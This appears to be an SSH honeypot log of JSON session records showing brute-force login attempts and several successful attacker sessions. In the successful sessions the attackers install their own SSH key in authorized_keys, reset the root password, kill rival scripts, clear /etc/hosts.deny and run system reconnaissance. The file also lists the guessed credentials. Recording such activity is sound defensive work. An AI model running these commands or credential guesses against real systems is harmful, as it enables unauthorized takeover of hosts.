Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: daniela.gonzalez
{
"id": "8ddfea57844d",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:05:34.065168Z",
"end_time": "2026-10-05T22:05:38.332594Z",
"duration": "4.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "daniela.gonzalez",
"pass": "aaa123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: safari
{
"id": "e6a0bf65ce88",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:05:27.525906Z",
"end_time": "2026-10-05T22:05:29.614408Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "safari",
"pass": "1Q2w3e4r"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cass
{
"id": "8f0b0b655655",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:05:19.287115Z",
"end_time": "2026-10-05T22:05:23.333974Z",
"duration": "4.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cass",
"pass": "jump"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: soporte
{
"id": "806885ff123b",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:05:12.332859Z",
"end_time": "2026-10-05T22:05:14.929226Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "soporte",
"pass": "mc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mapred
{
"id": "d672cdb65c99",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:05:04.599090Z",
"end_time": "2026-10-05T22:05:08.512324Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mapred",
"pass": "xbox"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "32bf40aecc25",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:05:00.031910Z",
"end_time": "2026-10-05T22:05:01.067654Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "8f4035f7cbdc",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:04:57.747842Z",
"end_time": "2026-10-05T22:04:59.886441Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cbm
{
"id": "83de22d587ba",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:57.674781Z",
"end_time": "2026-10-05T22:05:00.462957Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cbm",
"pass": "itunes"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin21
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "6ef6105bfbe1",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:04:55.292596Z",
"end_time": "2026-10-05T22:05:01.091191Z",
"duration": "5.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin21"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lnxsaidareddy
{
"id": "e48e0aa32b65",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:49.589939Z",
"end_time": "2026-10-05T22:04:53.737842Z",
"duration": "4.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lnxsaidareddy",
"pass": "zomboid"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hongji
{
"id": "e75459ba42b1",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:43.144563Z",
"end_time": "2026-10-05T22:04:45.801523Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hongji",
"pass": "Pa29294w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tomcat
{
"id": "fb45009108e6",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:35.025166Z",
"end_time": "2026-10-05T22:04:38.901078Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "tomcat",
"pass": "zahra"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: mysql / riccardo
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5dc62e95fb8b",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:27.927444Z",
"end_time": "2026-10-05T22:04:30.017003Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "mysql",
"pass": "riccardo"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5932
{
"id": "6b82b4ef7d7a",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:19.499261Z",
"end_time": "2026-10-05T22:04:23.725874Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5932",
"pass": "Huawei@2025"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yanghao
{
"id": "816132d4a05e",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:12.498159Z",
"end_time": "2026-10-05T22:04:17.791783Z",
"duration": "5.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "yanghao",
"pass": "abc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: t10
{
"id": "2c0e711d1dc4",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:04:04.167622Z",
"end_time": "2026-10-05T22:04:09.183564Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "t10",
"pass": "itunes"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mattermost
{
"id": "381d875c13c9",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:58.034487Z",
"end_time": "2026-10-05T22:04:00.223623Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mattermost",
"pass": "basit"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: guodongxu
{
"id": "d8850fe126d3",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:49.901216Z",
"end_time": "2026-10-05T22:03:54.092113Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "guodongxu",
"pass": "root@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: david_llauce
{
"id": "aa02690c66dc",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:41.741191Z",
"end_time": "2026-10-05T22:03:47.357589Z",
"duration": "5.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "david_llauce",
"pass": "localhost"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs304
{
"id": "38c3637c38ec",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:35.167834Z",
"end_time": "2026-10-05T22:03:41.331039Z",
"duration": "6.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs304",
"pass": "wso2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin123
{
"id": "ee0b383e47a0",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:28.255553Z",
"end_time": "2026-10-05T22:03:32.663551Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin123",
"pass": "aa123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: abulgaka
{
"id": "f9b5c08892c9",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:20.561262Z",
"end_time": "2026-10-05T22:03:24.438269Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "abulgaka",
"pass": "odoo15"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10olamide
{
"id": "60a48ba5d1d1",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:12.748482Z",
"end_time": "2026-10-05T22:03:17.515807Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10olamide",
"pass": "="
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mail
{
"id": "db1614c98049",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:03:04.924068Z",
"end_time": "2026-10-05T22:03:10.542531Z",
"duration": "5.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mail",
"pass": "13131313"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user88
{
"id": "8754176de70a",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:57.078504Z",
"end_time": "2026-10-05T22:03:04.312621Z",
"duration": "7.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user88",
"pass": "Aa@123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "930d69751e73",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:02:56.044716Z",
"end_time": "2026-10-05T22:04:56.048874Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: julien
{
"id": "5d8bdec30e34",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:50.655067Z",
"end_time": "2026-10-05T22:02:56.708715Z",
"duration": "6.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "julien",
"pass": "mysql@1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1dcbb5c2a41a",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:02:48.043709Z",
"end_time": "2026-10-05T22:04:48.050839Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Credential acceptance event recorded. Target authentication: root / zxcvbn123
Remote entity achieved interactive shell state. Command sequence (19 executed):
{
"id": "e2dd65639c58",
"src_ip": "117.72.69.18",
"start_time": "2026-10-05T22:02:45.016389Z",
"end_time": "2026-10-05T22:03:12.900724Z",
"duration": "27.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "zxcvbn123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"cat /proc/cpuinfo | grep name | wc -l",
"echo \"root:B8x0XlTALUVF\"|chpasswd|bash",
"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"ls -lh $(which ls)",
"which ls",
"crontab -l",
"w",
"uname -m",
"cat /proc/cpuinfo | grep model | grep name | wc -l",
"top",
"uname",
"uname -a",
"whoami",
"lscpu | grep Model",
"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "echo \"root:B8x0XlTALUVF\"|chpasswd|bash",
"failed": false,
"error": null
},
{
"cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"failed": false,
"error": null
},
{
"cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"failed": false,
"error": null
},
{
"cmd": "ls -lh $(which ls)",
"failed": false,
"error": null
},
{
"cmd": "which ls",
"failed": false,
"error": null
},
{
"cmd": "crontab -l",
"failed": false,
"error": null
},
{
"cmd": "w",
"failed": false,
"error": null
},
{
"cmd": "uname -m",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "top",
"failed": false,
"error": null
},
{
"cmd": "uname",
"failed": false,
"error": null
},
{
"cmd": "uname -a",
"failed": false,
"error": null
},
{
"cmd": "whoami",
"failed": false,
"error": null
},
{
"cmd": "lscpu | grep Model",
"failed": false,
"error": null
},
{
"cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 340,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: eita002
{
"id": "4329bbd65b47",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:43.909923Z",
"end_time": "2026-10-05T22:02:49.814588Z",
"duration": "5.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "eita002",
"pass": "hdfj1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hzserver
{
"id": "7ef395589e41",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:37.323503Z",
"end_time": "2026-10-05T22:02:42.334165Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hzserver",
"pass": "ecs-user"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a1marcos
{
"id": "48b479f195e1",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:29.369417Z",
"end_time": "2026-10-05T22:02:35.273495Z",
"duration": "5.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a1marcos",
"pass": "asiainfo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s9rosemary
{
"id": "14de248d6931",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:22.544134Z",
"end_time": "2026-10-05T22:02:27.348540Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s9rosemary",
"pass": "Test1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / NAS
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "6069d18f604c",
"src_ip": "2.188.206.146",
"start_time": "2026-10-05T22:02:21.925567Z",
"end_time": "2026-10-05T22:02:26.327243Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "NAS"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: adithyan
{
"id": "57d2eb169252",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:15.580904Z",
"end_time": "2026-10-05T22:02:20.016267Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "adithyan",
"pass": "tom"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: backuply
{
"id": "53f93dfafbf3",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:08.513940Z",
"end_time": "2026-10-05T22:02:12.724428Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "backuply",
"pass": "jakob"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev
{
"id": "aae7d95ab83b",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:02:01.379677Z",
"end_time": "2026-10-05T22:02:04.600834Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dev",
"pass": "hcicloud"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hujiahao
{
"id": "3ee1b6e33b8b",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:53.874525Z",
"end_time": "2026-10-05T22:01:56.840840Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hujiahao",
"pass": "1q2w3e4r5t"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: roo
{
"id": "8ceef5509c16",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:45.483737Z",
"end_time": "2026-10-05T22:01:50.495857Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "roo",
"pass": "potok"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5904
{
"id": "884ec5a00b6a",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:37.409027Z",
"end_time": "2026-10-05T22:01:43.628552Z",
"duration": "6.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5904",
"pass": "Pa55354w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user64
{
"id": "3fe0796e6744",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:30.790277Z",
"end_time": "2026-10-05T22:01:35.918240Z",
"duration": "5.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user64",
"pass": "Pa849868w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
